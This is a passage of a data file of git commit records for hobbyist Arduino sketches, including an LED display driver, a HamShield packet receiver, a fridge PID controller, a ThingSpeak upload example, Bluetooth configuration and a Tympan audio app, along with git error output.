{\n\/\/ 76543210 \n B11000000, \/\/ 0\n B11111001, \/\/ 1\n B10100100, \/\/ 2\n B10110000, \/\/ 3\n B10011001, \/\/ 4\n B10010010, \/\/ 5\n B10000010, \/\/ 6\n B11111000, \/\/ 7\n B10000000, \/\/ 8\n B10010000, \/\/ 9\n B10001000, \/\/ A\n B10000011, \/\/ B\n B11000110, \/\/ C\n B10100001, \/\/ D\n B10000110, \/\/ E\n B10001110}; \/\/ F\n\n int const _space = 0xFF;\n \n int _buf[8];\n\n int _cursor = 0;\n\n void moveRight()\n {\n if (_cursor < 7) _cursor++;\n }\n\n void update()\n {\n outputSymbol(0, _buf[0]);\n outputSymbol(1, _buf[1]);\n outputSymbol(2, _buf[2]);\n outputSymbol(3, _buf[3]);\n outputSymbol(4, _buf[4]);\n outputSymbol(5, _buf[5]);\n outputSymbol(6, _buf[6]);\n outputSymbol(7, _buf[7]);\n }\n\n void outputSymbol(int pos, int symbol)\n {\n digitalWrite(_latch, LOW);\n shiftOut(_data, _clock, MSBFIRST, 1 << pos);\n shiftOut(_data, _clock, MSBFIRST, symbol);\n digitalWrite(_latch, HIGH); \n } \n \npublic:\n void setSymbol(int pos, int symbol)\n {\n _buf[pos] = symbol;\n } \n\n void andSymbol(int pos, int symbol)\n {\n setSymbol(pos, symbol & _buf[pos]);\n }\n\n void orSymbol(int pos, int symbol)\n {\n setSymbol(pos, symbol | _buf[pos]);\n }\n \n void init(int dataPin, int clockPin, int latchPin)\n {\n _data = dataPin;\n _clock = clockPin;\n _latch = latchPin;\n\n pinMode(_clock, OUTPUT); \n pinMode(_latch, OUTPUT); \n pinMode(_data, OUTPUT); \n }\n\n void clear()\n {\n setSymbol(0, _space);\n setSymbol(1, _space);\n setSymbol(2, _space);\n setSymbol(3, _space);\n setSymbol(4, _space);\n setSymbol(5, _space);\n setSymbol(6, _space);\n setSymbol(7, _space);\n }\n\n void printSymbol(int pos, int symbol)\n {\n setSymbol(pos, symbol);\n }\n\n void printSymbol(int symbol)\n {\n setSymbol(_cursor, symbol);\n moveRight();\n }\n\n void putSymbol(int symbol)\n {\n setSymbol(_cursor, symbol);\n }\n \n void print(int pos, int value)\n {\n setSymbol(pos, _symbols[value]);\n }\n\n void print(int value)\n {\n print(_cursor, value);\n moveRight();\n }\n\n void put(int value)\n {\n print(_cursor, value);\n }\n\n void printSpace()\n {\n setSymbol(_cursor, _space);\n moveRight();\n }\n\n void moveTo(int pos)\n {\n _cursor = pos;\n }\n\n void moveToStart()\n {\n moveTo(0);\n }\n\n void tick(int millis)\n {\n update();\n }\n};\n\nLed8 led;\nint del = 300;\nint start = 0;\nint lastmils = 0;\nint dir = 1;\n\nvoid setup()\n{\n led.init(data, clock, latch);\n led.clear();\n\n led.moveToStart();\n led.print(0);\n led.print(1);\n led.print(2);\n led.print(3);\n led.print(4);\n led.print(5);\n led.print(6);\n led.print(7);\n}\n\nvoid loop()\n{\n led.tick(0);\n \n int mils = millis();\n if (mils - lastmils < del) return;\n lastmils = mils;\n\n led.moveToStart();\n for (int i=start; i<8+start;i++)\n led.print(i);\n\n if (dir > 0)\n if (start < 8)\n start++;\n else dir = -1; \n else if (start > 0)\n start--;\n else dir = 1;\n\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ledtest2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28d48d7c0dee46197038b3188c69312d87fbe9c5","subject":"int size is actually 2 bytes","message":"int size is actually 2 bytes\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e4e3d67f0d9076411afa573a252b21b958e797b1","subject":"initial commit","message":"initial commit\n","repos":"alexdglover\/buzzword,alexdglover\/buzzword","old_file":"buzzword.ino","new_file":"buzzword.ino","new_contents":"\/* \n\nDescription: Prototype sketch for catchprhase device\nAuthor: Alex D Glover (alexdglover@gmail.com)\nInitial Date: 21-Jun-2015\nLicense: GPLv2.1 (due to libraries being licensed under GPLv2.1)\n\nCredits:\nCode for timer functionality - http:\/\/playground.arduino.cc\/Main\/CountDownTimer\nOriginal TFT library - https:\/\/github.com\/Seeed-Studio\/TFT_Touch_Shield_V2\nOriginal Touchscreen Library - https:\/\/github.com\/Seeed-Studio\/Touch_Screen_Driver\nModified TFT Library for screen orientation - http:\/\/forum.arduino.cc\/index.php?topic=150900.0\n\n*\/\n\n\/\/ Paint application - Demonstate both TFT and Touch Screen\n#include <stdint.h>\n#include <SeeedTouchScreen.h>\n#include <TFTv2.h>\n#include <SPI.h>\n\nint ColorPaletteHigh = 30;\nint color = WHITE; \/\/Paint brush color\nunsigned int colors[8] = {BLACK, RED, GREEN, BLUE, CYAN, YELLOW, WHITE, GRAY1};\n\n\/\/Timer related variables\nunsigned long Watch, _micro, time = micros();\nunsigned int Clock = 0, R_clock;\nboolean Reset = false, Stop = false, Paused = false;\nvolatile boolean timeFlag = false;\n\n\/\/List of 'catchphrases' and the current 'catchphrase\nchar* listOfWords[]={\"test\", \"puzzle\", \"watermelon\",\"tree\", \"boat\",\"squirrel\"};\nchar* currentWord = \"\";\nboolean needNewWord = true;\n\n\/\/ For better pressure precision, we need to know the resistance\n\/\/ between X+ and X- Use any multimeter to read it\n\/\/ The 2.8\" TFT Touch shield has 300 ohms across the X plate\n\nTouchScreen ts = TouchScreen(XP, YP, XM, YM); \/\/init TouchScreen port pins\n\nvoid setup()\n{\n Tft.TFTinit(); \/\/init TFT library\n Serial.begin(9600);\n \/\/Draw the pallet\n \/*for(int i = 0; i<8; i++)\n {\n Tft.fillRectangle(i*30, 0, 30, ColorPaletteHigh, colors[i]);\n }*\/\n \n randomSeed(analogRead(0));\n}\n\nboolean CountDownTimer()\n{\n static unsigned long duration = 1000000; \/\/ 1 second\n timeFlag = false;\n\n if (!Stop && !Paused) \/\/ if not Stopped or Paused, run timer\n {\n \/\/ check the time difference and see if 1 second has elapsed\n if ((_micro = micros()) - time > duration ) \n {\n Clock--;\n timeFlag = true;\n\n if (Clock == 0) \/\/ check to see if the clock is 0\n Stop = true; \/\/ If so, stop the timer\n\n \/\/ check to see if micros() has rolled over, if not,\n \/\/ then increment \"time\" by duration\n _micro < time ? time = _micro : time += duration; \n }\n }\n return !Stop; \/\/ return the state of the timer\n}\n\nvoid ResetTimer()\n{\n SetTimer(0,0,60);\n Stop = false;\n}\n\nvoid StartTimer()\n{\n Watch = micros(); \/\/ get the initial microseconds at the start of the timer\n Stop = false;\n Paused = false;\n}\n\nvoid SetTimer(unsigned int hours, unsigned int minutes, unsigned int seconds)\n{\n \/\/ This handles invalid time overflow ie 1(H), 0(M), 120(S) -> 1, 2, 0\n unsigned int _S = (seconds \/ 60), _M = (minutes \/ 60);\n if(_S) minutes += _S;\n if(_M) hours += _M;\n\n Clock = (hours * 3600) + (minutes * 60) + (seconds % 60);\n R_clock = Clock;\n Stop = false;\n}\n\nboolean TimeHasChanged()\n{\n return timeFlag;\n}\n\nvoid getNewWord()\n{\n int listOfWordsLength = sizeof(listOfWords) \/ sizeof(int);\n long randomLong = random(listOfWordsLength);\n Serial.print(\"Random number is \");\n Serial.println(randomLong);\n currentWord = listOfWords[randomLong];\n Serial.println(currentWord);\n}\n\nvoid loop()\n{\n \/\/ a point object holds x y and z coordinates.\n Point p = ts.getPoint();\n\n \/\/map the ADC value read to into pixel co-ordinates\n\n p.x = map(p.x, TS_MINX, TS_MAXX, 0, 240);\n p.y = map(p.y, TS_MINY, TS_MAXY, 0, 320);\n\n \/\/ we have some minimum pressure we consider 'valid'\n \/\/ pressure of 0 means no pressing!\n\n if (p.z > __PRESURE) {\n \/\/ Detect paint brush color change\n if(p.y < ColorPaletteHigh+2)\n {\n color = colors[p.x\/30];\n }\n else\n {\n Tft.fillCircle(p.x,p.y,2,color);\n }\n }\n \n if(needNewWord)\n {\n getNewWord();\n needNewWord = false;\n }\n \n \/\/show phrase\n Tft.drawString(currentWord,60,100 ,3,WHITE);\n \/\/Tft.drawString(\"World!!\",60,220,4,WHITE);\n \n CountDownTimer(); \/\/ run the timer\n\n \/\/ this prevents the time from being constantly shown.\n if (TimeHasChanged() ) \n {\n \/\/Show timer\/clock \n }\n \n}\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buzzword.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4fb55520eaf3a3763313098462744dfaccdcfce2","subject":"First round of AX25 receiver.","message":"First round of AX25 receiver.\n","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/AX25Receive\/AX25Receive.ino","new_file":"examples\/AX25Receive\/AX25Receive.ino","new_contents":"#define DDS_REFCLK_DEFAULT 9600\n\n#include <HamShield.h>\n#include <Wire.h>\n\nHamShield radio;\nDDS dds;\n\nvoid setup() {\n Serial.begin(9600);\n Wire.begin();\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n \n Serial.println(F(\"Radio test connection\"));\n Serial.println(radio.testConnection(), DEC);\n Serial.println(F(\"Initialize\"));\n delay(100);\n radio.initialize();\n Serial.println(F(\"Frequency\"));\n delay(100);\n\/\/ radio.setVHF();\n\/\/ radio.setRfPower(0);\n\/\/ radio.setModeReceive();\n radio.setVolume1(0xFF);\n radio.setVolume2(0xFF);\n radio.frequency(145050);\n Serial.println(F(\"DDS Start\"));\n delay(100);\n dds.start();\n Serial.println(F(\"AFSK start\"));\n delay(100);\n radio.afsk.start(&dds);\n Serial.println(F(\"Starting...\"));\n pinMode(11, INPUT); \/\/ Bodge for now, as pin 3 is hotwired to pin 11\n delay(100);\n dds.setAmplitude(255);\n}\n\nuint32_t last = 0;\nvoid loop() {\n if(radio.afsk.decoder.read() || radio.afsk.rxPacketCount()) {\n \/\/ A true return means something was put onto the packet FIFO\n Serial.println(\"Packet\");\n \/\/ If we actually have data packets in the buffer, process them all now\n while(radio.afsk.rxPacketCount()) {\n AFSK::Packet *packet = radio.afsk.getRXPacket();\n if(packet) {\n for(unsigned short i = 0; i < packet->len; ++i)\n Serial.write((uint8_t)packet->getByte());\n AFSK::PacketBuffer::freePacket(packet);\n }\n }\n }\n \/*if(last < millis()) {\n Serial.println(radio.readRSSI());\n last = millis()+1000;\n }*\/\n}\n\n\/*ISR(TIMER2_OVF_vect) {\n TIFR2 = _BV(TOV2);\n static uint8_t tcnt = 0;\n if(++tcnt == 8) {\n digitalWrite(2, HIGH);\n dds.clockTick();\n digitalWrite(2, LOW);\n tcnt = 0;\n }\n}*\/\nISR(ADC_vect) {\n static uint8_t tcnt = 0;\n TIFR1 = _BV(ICF1); \/\/ Clear the timer flag\n PORTD |= _BV(2); \/\/ Diagnostic pin (D2)\n \/\/dds.clockTick();\n radio.afsk.timer();\n PORTD &= ~(_BV(2)); \/\/ Pin D2 off again\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AX25Receive\/AX25Receive.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ec3e9940e0833e213d76f8f228879a7b9cccc50f","subject":"Added basic signal \/ slot test example","message":"Added basic signal \/ slot test example\n","repos":"starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdTookit","old_file":"examples\/TestSignals\/TestSignals.ino","new_file":"examples\/TestSignals\/TestSignals.ino","new_contents":"\nvoid setup()\n{\n}\n\nvoid loop()\n{\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TestSignals\/TestSignals.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7b1a4c823f8cf09023082b908236564af4b0922","subject":"Use Serial1.available() instead of serialevent1()","message":"Use Serial1.available() instead of serialevent1()\n","repos":"relayr\/Arduino-Bridge-Library","old_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/relayr\/Arduino-Bridge-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9561d326ab956abd55f65aa59e2bd3a2e989ecb8","subject":"Create Triggers.ino","message":"Create Triggers.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"Triggers.ino","new_file":"Triggers.ino","new_contents":"\n\/\/ Triggers checks the PID algorithms and timers, and decides whether to change the state of any of the relays\n\nvoid Triggers (){\n \n \/\/ temp - PID\n coolPID.Compute();\n if(millis() - coolWindowStartTime > coolWindowSize)\n { \/\/time to shift the Relay Window\n coolWindowStartTime += coolWindowSize; }\n \n heatPID.Compute();\n if(millis() - heatWindowStartTime > heatWindowSize)\n { \/\/time to shift the Relay Window\n heatWindowStartTime += heatWindowSize; } \n \n \/\/ temp - logic \n if(Output > (millis() - coolWindowStartTime)\/1000 && Output > 2 && (millis() - coolOffElapsed) > minCool*60000) coolON = 1;\n else {\n if (coolON == 1) coolOffElapsed = millis(); \n coolON = 0; \n }\n if(Outputh > (millis() - heatWindowStartTime)\/1000 && Outputh > 2) heatON = 1;\n else heatON = 0; \n \n \/\/ temp - pins\n if (coolON == 1) {\n digitalWrite(ControlCpin, LOW);\n } \n else {\n digitalWrite(ControlCpin, HIGH);\n }\n \n if (heatON == 1) digitalWrite(ControlHpin, LOW);\n else digitalWrite(ControlHpin, HIGH); \n \n \/\/hum on \n \/\/hum off \n\n \/\/ lights\n if ( (millis()+TimeAdjust)%86400000 > LightON && (millis()+TimeAdjust)%86400000 < LightOFF){\n digitalWrite(ControlLpin, LOW); }\n else {\n digitalWrite(ControlLpin, HIGH); }\n \n \/\/ fans\n if (fanOFF > 0){\n \/\/If off, check for ON criteria\n if((millis() - fanOFFmillis) > (fanOFF * 60000) && fanstate == false && coolON == 1){\n digitalWrite(ControlApin, LOW);\n fanOFFmillis = millis();\n fanONmillis = millis();\n fanstate = true;\n }\n \/\/if on, check ffor OFF criteria \n if((millis() - fanONmillis) > (fanON * 60000) && fanstate == true){\n digitalWrite(ControlApin, HIGH);\n fanONmillis = millis();\n fanOFFmillis = millis();\n fanstate = false;\n } \n }\n else {\n int x = PvT - Temp3 ; \n if(FanAuto == 0 && abs(x) > 3) \/\/fan on when temp diff is >3 high \n digitalWrite(ControlApin, LOW);\n else digitalWrite(ControlApin, HIGH);\n \/\/lcd.setCursor(15,0);\n }\n \n \/\/brewtimer\n \n if (brewtimerON == 1 && millis() > brewtimerRef + (brewtimer * 60000)){\n brewtimerON = 0;\n SvT = brewtimerSv;}\n \n \/\/backlight\n if(millis() - backlighton > backlighttime && menu == 0){\n lcd.noBacklight();\n pulselast = pulses;\n }\n else lcd.backlight();\n \n delay(50);\n} \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Triggers.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1133701c6371c35b5f72f3a136254f0442408246","subject":"test sketch","message":"test sketch\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/wifi_test.ino","new_file":"unit tests\/wifi_test\/wifi_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f0905080d5bb2cf68bef687714959db3ac9da2f7","subject":"Add examples","message":"Add examples\n\n- add ThingSpeak API example that updates a channel with the temperature value\n","repos":"iotl\/IoT-Shield-Firmware","old_file":"libraries\/ParkingShield\/examples\/03.ThingSpeak\/UpdateChannel\/UpdateChannel.ino","new_file":"libraries\/ParkingShield\/examples\/03.ThingSpeak\/UpdateChannel\/UpdateChannel.ino","new_contents":"#include <Esp8266.h>\n#include <SoftwareSerial.h>\n#include <HttpRequest.h>\n\n#include <ParkingShield.h>\n#include <DeviceArduino.h>\n#include <SevenSeg.h>\n\n\/\/ CHANGE CHANNEL'S API KEY HERE:\nstatic const char api_key[] = \"QWERTZASDFYXCV\";\n\nSoftwareSerial espSerial(2,3);\nEsp8266<SoftwareSerial> esp(espSerial);\nParkingShield shield;\n\nvoid setup() \n{\n Serial.begin(9600);\n \n esp.configureBaud();\n esp.joinAccessPoint(\"ti_iot\",\"ti_iot42!\");\n esp.setMultipleConnections(1);\n}\n\nvoid loop()\n{\n String temperature(shield.getTemperature());\n \n \/\/ Build GET request\n HttpRequest req(F(\"\/update\"));\n req.addParameter(F(\"api_key\"), api_key); \n req.addParameter(F(\"field1\"), temperature);\n\n \/\/ Build GET request string\n char getRequest[100];\n req.get(getRequest);\n\n \/\/ Send get request string\n esp.connect(1, F(\"api.thingspeak.com\"), 80);\n esp.send(1, getRequest, strlen(getRequest));\n\n \/\/ Thingspeak requires 15 s delay between requests \n delay (16000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ParkingShield\/examples\/03.ThingSpeak\/UpdateChannel\/UpdateChannel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15ae2282023d11819504574bda8f702f88f4e399","subject":"Started using front sensors","message":"Started using front sensors\n","repos":"Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost","old_file":"Arduino\/Ghost\/Ghost.ino","new_file":"Arduino\/Ghost\/Ghost.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Scalpel78\/Ghost.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b5d5812e7d817095e78496b523e134c224775be7","subject":"update","message":"update\n\n","repos":"DaveCalaway\/ESP8266,DaveCalaway\/ESP8266","old_file":"Arduino\/ESP8266\/Telegram_bot\/Matrix_bot\/Matrix_bot.ino","new_file":"Arduino\/ESP8266\/Telegram_bot\/Matrix_bot\/Matrix_bot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DaveCalaway\/ESP8266.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"91ad2482053456270fd275a93a478a0c91909d4f","subject":"_01_kidSerie_sketch_01.ConfigBT.ino #Kidserie","message":"_01_kidSerie_sketch_01.ConfigBT.ino #Kidserie\n\n_01_kidSerie_sketch_01.ConfigBT.ino #Kidserie","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_01_kidSerie_sketch_01.ConfigBT.ino","new_file":"_01_kidSerie_sketch_01.ConfigBT.ino","new_contents":"\/*\n Project name:\n 01 #kidSerie - Arduino & MIT App Instaler 2 & HC-06 \n (Smart Phone App!)\n Flavour I - \n Hex File: _01_kidSerie_sketch_01.ConfigBT.ino\n Revision History:\n 20161008:\n - board found on Arduino e Cia Examples\n (connect everything on HC-06 to access smart phone)\n \n Description:\n A Simple bluetooth config ardu_sketch to HC-06 setup!!!\n Please goto lib manager and download SoftwareSerial!!!\n \n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n IC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\n \n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/u1xqW6qtFXs\n \n\n\n Based on: M\u00f3dulo Bluetooth JY-MCU - HC-06 - Configura\u00e7\u00e3o (Arduino e Cia)\n https:\/\/goo.gl\/W13Qnn\n Code by Arduino e Cia \n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n#include <SoftwareSerial.h> \n \n \nSoftwareSerial mySerial(10, 11); \/\/ RX, TX \nString command = \"\"; \/\/ Stores response of bluetooth device \n \/\/ which simply allows \\n between each \n \/\/ response. \n \nvoid setup() \n{ \n \/\/ Open serial communications and wait for port to open: \n Serial.begin(9600); \/\/ Default baudrate firmware \n \/\/Serial.begin(115200); \/\/ I changed to this baudrate...\n Serial.println(\"Type AT commands!\"); \n \/\/ SoftwareSerial \"com port\" data rate. JY-MCU v1.03 defaults to 9600. \n mySerial.begin(9600);\n \/\/mySerial.begin(115200); \/\/ ...and do not forget to match baudrate\n} \n \nvoid loop() \n{ \n \/\/ Read device output if available. \n if (mySerial.available()) \n { \n while(mySerial.available()) \n { \/\/ While there is more to be read, keep reading. \n command += (char)mySerial.read(); \n } \n Serial.println(command); \n command = \"\"; \/\/ No repeats \n } \n \n \/\/ Read user input if available. \n if (Serial.available())\n { \n delay(10); \/\/ The DELAY! \n mySerial.write(Serial.read()); \n } \n \n} \/\/ END loop() \n","old_contents":"","returncode":1,"stderr":"error: pathspec '_01_kidSerie_sketch_01.ConfigBT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93e098965a89c4475cc80ee86c490e55d457af64","subject":"Adding TrebleBoost_wApp","message":"Adding TrebleBoost_wApp\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/06-AppTutorial\/TrebleBoost_App\/TrebleBoost_App.ino","new_file":"examples\/06-AppTutorial\/TrebleBoost_App\/TrebleBoost_App.ino","new_contents":"\/*\n* TrebleBoost_wApp\n*\n* Created: Chip Audette, OpenAudio, August 2021\n* Purpose: Process audio by applying a high-pass filter followed by gain. Include App interaction.\n*\n* MIT License. use at your own risk.\n*\/\n\n\/\/here are the libraries that we need\n#include <Tympan_Library.h> \/\/include the Tympan Library\n\n\/\/set the sample rate and block size\nconst float sample_rate_Hz = 44100.0f ; \/\/24000 or 44100 (or 44117, or other frequencies in the table in AudioOutputI2S_F32)\nconst int audio_block_samples = 32; \/\/do not make bigger than AUDIO_BLOCK_SAMPLES from AudioStream.h (which is 128)\nAudioSettings_F32 audio_settings(sample_rate_Hz, audio_block_samples);\n\n\/\/create audio library objects for handling the audio\nTympan myTympan(TympanRev::E); \/\/do TympanRev::D or TympanRev::E\nAudioInputI2S_F32 i2s_in(audio_settings); \/\/Digital audio in *from* the Teensy Audio Board ADC.\nAudioFilterBiquad_F32 hp_filt1(audio_settings); \/\/IIR filter doing a highpass filter. Left.\nAudioFilterBiquad_F32 hp_filt2(audio_settings); \/\/IIR filter doing a highpass filter. Right.\nAudioEffectGain_F32 gain1; \/\/Applies digital gain to audio data. Left.\nAudioEffectGain_F32 gain2; \/\/Applies digital gain to audio data. Right.\nAudioOutputI2S_F32 i2s_out(audio_settings); \/\/Digital audio out *to* the Teensy Audio Board DAC.\n\n\/\/Make all of the audio connections\nAudioConnection_F32 patchCord1(i2s_in, 0, hp_filt1, 0); \/\/connect the Left input\nAudioConnection_F32 patchCord2(i2s_in, 1, hp_filt2, 0); \/\/connect the Right input\nAudioConnection_F32 patchCord3(hp_filt1, 0, gain1, 0); \/\/Left\nAudioConnection_F32 patchCord4(hp_filt2, 0, gain2, 0); \/\/right\nAudioConnection_F32 patchCord5(gain1, 0, i2s_out, 0); \/\/connect the Left gain to the Left output\nAudioConnection_F32 patchCord6(gain2, 0, i2s_out, 1); \/\/connect the Right gain to the Right output\n\n\/\/define class for handling the GUI on the app\nTympanRemoteFormatter myGUI; \/\/Creates the GUI-writing class for interacting with TympanRemote App\n\n\/\/Create BLE\nBLE ble = BLE(&Serial1);\n\n\/\/ define the setup() function, the function that is called once when the device is booting\nconst float input_gain_dB = 10.0f; \/\/gain on the microphone\nfloat digital_gain_dB = 0.0; \/\/this will be set by the app\nfloat cutoff_Hz = 1000.f; \/\/frequencies below this will be attenuated\nconst float min_allowed_Hz = 100.0f; \/\/minimum allowed cutoff frequency (Hz)\nconst float max_allowed_Hz = 0.9 * (sample_rate_Hz\/2.0); \/\/maximum allowed cutoff frequency (Hz);\nbool printCPUtoGUI = false;\nvoid setup() {\n \/\/begin the serial comms (for debugging)\n myTympan.beginBothSerial(); delay(1000);\n Serial.println(\"TrebleBoost_wApp: Starting setup()...\");\n\n \/\/allocate the dynamic memory for audio processing blocks\n AudioMemory_F32(10,audio_settings); \n\n \/\/Enable the Tympan to start the audio flowing!\n myTympan.enable(); \/\/ activate AIC\n\n \/\/Choose the desired input\n myTympan.inputSelect(TYMPAN_INPUT_ON_BOARD_MIC); \/\/ use the on board microphones\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_MIC); \/\/ use the microphone jack - defaults to mic bias 2.5V\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_LINEIN); \/\/ use the microphone jack - defaults to mic bias OFF\n\n \/\/Set the desired volume levels\n myTympan.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n myTympan.setInputGain_dB(input_gain_dB); \/\/ set input volume, 0-47.5dB in 0.5dB setps\n\n \/\/setup BLE\n while (Serial1.available()) Serial1.read(); \/\/clear the incoming Serial1 (BT) buffer\n ble.setupBLE(myTympan.getBTFirmwareRev()); \/\/this uses the default firmware assumption. You can override!\n\n \/\/Set the cutoff frequency for the highpassfilter\n cutoff_Hz = 1000.f; \n setHighpassFilters_Hz(cutoff_Hz); \/\/function defined near the bottom of this file\n printHighpassCutoff();\n\n Serial.println(\"Setup complete.\");\n} \/\/end setup()\n\n\n\/\/ define the loop() function, the function that is repeated over and over for the life of the device\nvoid loop() {\n\n \/\/look for in-coming serial messages (via USB or via Bluetooth)\n if (Serial.available()) respondToByte((char)Serial.read()); \/\/USB Serial\n\n \/\/respond to BLE\n if (ble.available() > 0) {\n String msgFromBle; int msgLen = ble.recvBLE(&msgFromBle);\n for (int i=0; i < msgLen; i++) respondToByte(msgFromBle[i]);\n }\n\n \/\/service the BLE advertising state\n ble.updateAdvertising(millis(),5000); \/\/check every 5000 msec to ensure it is advertising (if not connected)\n\n \/\/periodically print the CPU and Memory Usage\n if (printCPUtoGUI) {\n myTympan.printCPUandMemory(millis(),3000); \/\/print every 3000 msec\n serviceUpdateCPUtoGUI(millis(),3000); \/\/print every 3000 msec\n }\n\n} \/\/end loop();\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Servicing routines\n\n\n\/\/respond to the received characters (from the SerialMonitor or from the App)\nvoid respondToByte(char c) {\n Serial.print(\"Received character \"); Serial.println(c);\n \n switch (c) {\n case 'J': case 'j':\n printTympanRemoteLayout();\n break;\n case 'k':\n changeGain(3.0);\n printGainLevels();\n setButtonText(\"gainIndicator\", String(digital_gain_dB,1)); \/\/send the current value to the App. show 1 decimal place\n break;\n case 'K':\n changeGain(-3.0);\n printGainLevels();\n setButtonText(\"gainIndicator\", String(digital_gain_dB,1)); \/\/send the current value to the App. show 1 decimal place\n break;\n case 't':\n incrementHighpassFilters(powf(2.0,1.0\/3.0)); \/\/raise by 1\/3rd octave\n printHighpassCutoff();\n setButtonText(\"cutoffHz\", String(cutoff_Hz,0)); \/\/send the current value to the App. show 0 decimal places\n break;\n case 'T':\n incrementHighpassFilters(1.0\/powf(2.0,1.0\/3.0)); \/\/lower by 1\/3rd octave\n printHighpassCutoff();\n setButtonText(\"cutoffHz\", String(cutoff_Hz,0)); \/\/send the current value to the App. show 0 decimal places\n break;\n case 'c':\n Serial.println(\"Starting CPU reporting...\");\n printCPUtoGUI = true;\n setButtonState(\"cpuStart\",printCPUtoGUI); \/\/show the start button as \"on\"\n break;\n case 'C':\n Serial.println(\"Stopping CPU reporting...\");\n printCPUtoGUI = false;\n setButtonState(\"cpuStart\",printCPUtoGUI); \/\/show the start button as \"off\"\n break; \n }\n}\n\n\/\/Test to see if enough time has passed to send up updated CPU value to the App\nvoid serviceUpdateCPUtoGUI(unsigned long curTime_millis, unsigned long updatePeriod_millis) {\n static unsigned long lastUpdate_millis = 0;\n\n \/\/has enough time passed to update everything?\n if (curTime_millis < lastUpdate_millis) lastUpdate_millis = 0; \/\/handle wrap-around of the clock\n if ((curTime_millis - lastUpdate_millis) > updatePeriod_millis) { \/\/is it time to update the user interface?\n \/\/send the latest value to the GUI!\n setButtonText(\"cpuValue\",String(audio_settings.processorUsage(),1)); \/\/one decimal places\n \n lastUpdate_millis = curTime_millis;\n } \/\/ end if\n} \/\/end serviceUpdateCPUtoGUI();\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ functions used to define the GUI on the phone\n\n\n\/\/ Print the layout for the Tympan Remote app, in a JSON-ish string\n\/\/ (single quotes are used here, whereas JSON spec requires double quotes. The app converts ' to \" before parsing the JSON string).\n\/\/ Please don't put commas or colons in your ID strings!\nvoid printTympanRemoteLayout(void) {\n if (myGUI.get_nPages() < 1) createTympanRemoteLayout(); \/\/create the GUI, if it hasn't already been created\n Serial.println(myGUI.asString());\n 